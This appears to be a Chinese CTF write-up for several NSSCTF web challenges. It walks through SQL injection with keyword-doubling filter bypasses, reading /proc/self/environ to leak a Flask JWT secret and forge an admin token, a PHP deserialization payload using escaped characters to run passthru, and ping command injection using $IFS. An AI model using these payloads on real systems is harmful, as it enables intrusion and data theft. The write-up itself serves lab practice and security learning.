22c4a7ca350c2e376f7fa15a302be6ae.png

相对安全的方式传参?????

bf8307cd110d03d41a1c9d56e01f6146.png a2baabd2b65aa66654c5b9844891b59c.png ea2230b1eec711aa501065f0294f173d.png

判断列数先

双写命令绕过:
f714aaf2dcedaab4bfdb6915775046b1.png

列数为3

判断显示位

66831d116f87b5c4f1165d2d51722e4e.png

尝试查看第二行

de806c50d12a11da6d7fc221662342ca.png

查询数据库名

1
-1'/**/ununionion/**/select/**/1,database(),(select/**/group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata)/**/limit/**/1,1#
e12f0d6df8aa9cf805081a86bde10b4b.png

查询表名

1
-1'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1#
28bc8935b945fdd395b45c46fb511689.png

查询表内字段名

1
-1'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#
fda0853ed31d9dc989a0db1275038c06.png

查询字段内容

1
-1'/**/ununionion/**/select/**/1,database(),group_concat(id,Secr3t,flll444g)/**/from/**/NSS_tb/**/limit/**/1,1#
5c1ff72d0d1a5408606592c551d1a663.png

27.这是什么?SQL !注一下 !

ea14253c98c1786d496d367c75cd16f4.png

可以看見sql代碼

1
2
3
4
5
<?php

$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';

$result = $conn->query($sql);

輸入一個1可以看到

99609d6114112c4c69c7f32084313877.png

推断是两个字段 :

username = tanji password = OHHHHHHH

select 一下

1
1)))))) union select 1,2 -- 
2b713b584e3eb2d5439ed2511444aa0e.png
1
-1)))))) union select database(),2 -- 
1bbda58f59d944576882ba282830fa45.png

所有数据库名:

1
-1)))))) union select group_concat(schema_name),2 from information_schema.schemata -- 
a8b299b36cfae6217bddbd68cc1dc711.png

ctf的表名:

1
-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf' --
3abceb620f2d24e7d68dc4cca18c16f6.png

查users表中的字段名:

1
-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_schema='ctf' and table_name='users' #
d6512debb874046d84a88bfcce76a388.png

查users表中数据:

0x7e = ~ (波浪號)十六進制編碼

1
-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users # 
3b85731201687b978cf3059081b2057d.png

再看其他数据库,还有一个ctftraining数据库:

1
-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining' #
e7f4930394bb7c639d7fd61d9c7c7218.png

先查flag表的字段:

1
-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_schema='ctftraining' and table_name='flag'#
88becf32643c762cdb4ad11246d44287.png
1
-1)))))) union select flag,2 from ctftraining.flag #
28257c2a109f722a3b1374fb21ed961a.png

28.理想国

給了一個json檔:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Your wisdom is not sufficient to be called a sage"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
},
"404": {
"description": "File not found"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}

不會看, 拋給D老師分析了一下:

主要組成部分

基礎資訊

API 版本:Swagger 2.0

標題:Interface API

版本:1.1

描述:介面 API 文檔

  1. API 端點分析
    🔐 認證相關端點
    POST /api-base/v0/register - 用戶註冊

需要 username 和 password

響應:200成功, 400參數錯誤, 401權限不足

POST /api-base/v0/login - 用戶登入

需要 username 和 password

響應:200成功, 400參數錯誤

🔍 資料查詢端點
GET /api-base/v0/search - 資訊查詢

需要 file 查詢參數

需要 Token 認證

響應:200成功, 400參數錯誤, 401未授權, 404檔案不存在

🚪 登出端點
GET /api-base/v0/logout - 用戶登出

需要 Token 認證

響應:200成功, 401未授權

1
2
3
4
{
"UserRegistration": { "username", "password" },
"UserLogin": { "username", "password" }
}

用BP注册一个账户先:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api-base/v0/register HTTP/1.1
Host: node5.anna.nssctf.cn:21401
Content-Type:application/json
Cache-Control: max-age=0
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
If-None-Match: "1708337513.0-4226-1006306968"
If-Modified-Since: Mon, 19 Feb 2024 10:11:53 GMT
Connection: keep-alive

{"username":"a","password":"a"}
ddb0bc5ed20228a85676ba21ed691acd.png

login 一下

ceb050b212f68f02ec7f1146781f49e8.png

用以下的cookie:
拋去jwt.io:

9bb2273710f6ca2f594de0e6ea7f537b.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api-base/v0/search   HTTP/1.1
Host: node5.anna.nssctf.cn:21401
Content-Type:application/json
Cache-Control: max-age=0
Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEiLCJwYXNzd29yZCI6ImEifQ.BN9dROQHEp6L0iPx03SgsNO2c3rGac428_lCXh4E2ig
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
If-None-Match: "1708337513.0-4226-1006306968"
If-Modified-Since: Mon, 19 Feb 2024 10:11:53 GMT
Connection: keep-alive
Content-Length: 4
352dfcac48a77da66e3bb9065d9a1305.png

盲猜一下這是flask寫的 , file = app.py

ea6506e3ad4c28e8926ab4ccfca1a780.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136

# coding=gbk
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}

def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated

def check(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == "Plato" and payload['password'] == "ideal_state":
return func(*args, **kwargs)
else:
return 'You are not a sage. You cannot enter the ideal state.', 401
except:
return 'Something error?', 500
return decorated

@app.route('/', methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
flag = os.popen("/readflag").read()
return flag

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
if username == "Plato":
return 'Your wisdom is not sufficient to be called a sage.', 401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2), 400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400

@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response

@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
if request.args.get('file'):
try:
with open(request.args.get('file'), 'r') as file:
data = file.read()
return render_template_string(data)

except FileNotFoundError:
return 'File not found', 404
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?', 500
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username = "admin"
self.password = "password"
self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0', port=8080)

找到admin的信息了 , {“username”:”admin” , “password”:”password”} 再/readflag

只要用户名是Plato 密码是ideal_state 就可以得到flag,但是它无法登录,也无法注册

1
2
3
4
5
6
7
8
9
10
11
def register():
if request.method == 'POST':
username = request.json['username']
if username == "Plato":
return 'Your wisdom is not sufficient to be called a sage.', 401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2), 400

要目录穿透?a=../../../???????

11d98589587d850441e418378bf25e39.png

留意一下這一句:

1
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')

這一句是指在linux下的/proc/self/environ有放key , 可以在?file= /proc/self/environ找到

最後在/proc/self/environ 找到了KEY

5643d3d71c222dfc43591b4449fed24c.png

SECRET_KEY=B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r

這樣就可以jwt偽造了 ,

1b29cf97eba9760613949894d4a72e3f.png

簡單寫一下:

1
2
3
4
5
6
7
8
9
10
import jwt

SECRET_KEY = 'B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r'
username = 'Plato'
password = 'ideal_state'

# 生成token
token = jwt.encode({'username': username, 'password': password}, SECRET_KEY, algorithm='HS256')

print(token)
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlBsYXRvIiwicGFzc3dvcmQiOiJpZGVhbF9zdGF0ZSJ9.LpctUZCUocsntlZ7kNWh9KsagP4CMcELs_bt1g_4A-M

29.Maxser Revenge

是一個php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
include('check.php');
class passthru{
public $S;
public $dir;
public function __wakeup(){
$this->dir='notion';
}
public function __destruct(){

eval($this->S);
}
}
$a=$_GET['NSS'];
check($a);
unserialize($a);

来吧,湮灭极限!

是一個反序列化php

來打開phpstudy 生成 NSS的參數

目標是eval(system(“ls /“))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class passthru{
public $S;
public $dir;

}

$a = new passthru() ;
$a->S = "system('ls /')" ;

#echo serialize($a) ;
echo base64_encode(serialize($a)) ;
?>
2ba80e6f30589677a856d9ad50d69064.png

发现有正则绕过“/[A-Za-z_$()]+/” 需要过滤字母:

16進制轉文本:
572046fd972c87d3ee5775239a1d7d79.png

1
O:8:"passthru":2:{s:1:"S";s:14:\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x20\x2f\x27\x29;s:3:"dir";N;}

hex還是字母 ,

看了看其他師傅的wp , passthru可以进行命令执行 , ls中l转16进制不行 就直接cat /f*

(/和可以直接用,不用转16进制)

1
\70\61\73\73\74\68\72\75\28\27\63\61\74\20/\66*\27\29;
a4785abc923a2e43feb01011e377f5d4.png

构造payload,记得s:19:要改为S:19:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class passthru{
public $S;
public $dir;

}

$a = new passthru();
$a->S = "passthru('cat /f*');" ;

#
#echo base64_encode(serialize($a));
echo serialize($a);

?>
O:8:"passthru":2:{s:1:"S";S:20:"\70\61\73\73\74\68\72\75\28\27\63\61\74\20/\66*\27\29;";s:3:"dir";N;}
25f376dd0b5cc047ca0951ac84059a34.png

30.Ping Ping Ping

349142a23ffb190571f209f91cd0f173.png ceba1696d51eae85a3820a0d00ef3ab3.png

空格和flag被ban了

5ce731b01dcdbd163cf01d3cfd2fff87.png

symbol被ban了 ,

127.0.0.1|ls

d5fbcd5e74f7beb3f974da2202f2b978.png

用$IFS代替空格

$9 代替 /

1
127.0.0.1;cat$IFS$9index.php
224ce82d74ce207b444dab02cc62293d.png
1
127.0.0.1;q=g;cat$IFS$9fla$q.php
42eab3f9433044da14d296dd6bb8f8e3.png